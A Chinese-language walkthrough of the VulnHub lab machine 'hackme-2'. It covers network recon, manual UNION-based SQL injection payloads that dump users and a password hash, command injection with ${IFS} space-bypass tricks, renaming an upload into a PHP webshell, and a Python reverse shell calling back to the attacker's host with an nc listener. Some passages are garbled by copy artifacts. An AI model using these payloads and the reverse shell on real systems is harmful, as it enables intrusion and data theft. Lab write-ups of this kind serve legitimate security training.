环境搭建
靶机下载
https://vulnhub.com/entry/hackme-2,618/
攻击机kali:192.168.12.144
靶机:192.168.12.163
一、信息收集
- 主机发现
namp 192.168.12.1/24
2.发现端口80,22端口开放;对80端口进行访问
3.对站点目录进行扫描
dirsearch -u "http://192.168.12.163/"
4.网站指纹识别
whatweb http://192.168.12.163
二、漏洞挖掘
1.通过注册登录进入
2.可能存在sql注入,用sqlmap失败,进行手工注入
输入:
L -->返回信息 猜测这里存在模糊查询
Linux%’ and ‘123’ like '1 ->成功返回信息
3.构造payload进行注入,爆破数据库
Linux%'/**/union/**/select/**/database/**/(),'2','3
发现数据库:webapp
4.继续爆破表名,字段名,字段内的数据
表名:Linux%'/**/union/**/select/**/group_concat(table_name),"2","3"/**/from/**/information_schema.tables/**/where/**/table_schema/**/like'webapp
字段名:
Linux%'/**/union/**/select/**/group_concat(column_name),"2","3"/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'users
字段内数据:
Linux%'/**/union/**/select/**/group_concat(user),'2',group_concat(pasword)/**/from/**/users/**/where/**/1/**/like'
5.根据上面获取的用户密码,利用前面md5破解网站破解密码
用户:superadmin
密码:2386acb2cf356944177746fc92523983
破解:Uncrackable
6.利用破解的密码,进行登录
7.进行文件上传漏洞的尝试
直接上传木马文件 ----》失败
修改后缀为jpg —>访问失败–蚁剑连接不上
上传的jpg,利用bp进行修改后缀,上传显示成功,页面访问失败
8.尝试命令注入漏洞
9.填写数据,利用bp抓包,修改数据
system(‘ls’)
10.查看文件上传php文件
cat${IFS}welcomeadmin.php
文件上传的路径为:/var/www/html/uploads/year2020/
命令执行中空格绕过方法
< --> 重定向,如cat<flag.php
<> --> 重定向,如cat<>flag.php
%09 --> 需要php环境,如cat%09flag.php
I F S − − > 单纯 c a t {IFS} --> 单纯cat IFS−−>单纯catIFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php
$IFS 9 − − > 后面加个 9 --> 后面加个 9−−>后面加个与{}类似,起截断作用, 9 是当前系统 s h e l l 进程第九个参数持有者,始终为空字符串,如 c a t 9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat 9是当前系统shell进程第九个参数持有者,始终为空字符串,如catIFS2$9flag.php
三、漏洞利用
1.结合命令执行漏洞和文件上传漏洞,将前面上传的inj.jpg转换成phin.php文件,再使用蚁剑进行连接
system(‘mv I F S / v a r / w w w / h t m l / u p l o a d s / y e a r 2020 / i n j . j p g {IFS}/var/www/html/uploads/year2020/inj.jpg IFS/var/www/html/uploads/year2020/inj.jpg{IFS}/var/www/html/uploads/year2020/phin.php’)
访问页面
蚁剑进行连接
2.利用脚本,通过蚁剑上传执行
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((“192.168.12.144”,8989))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call([“/bin/bash”,“-i”])
3.kali开启监听
nc -lvvp 8989
四、提权
1.在/home/legacy路径下发现二进制文件touchmenot,执行二进制文件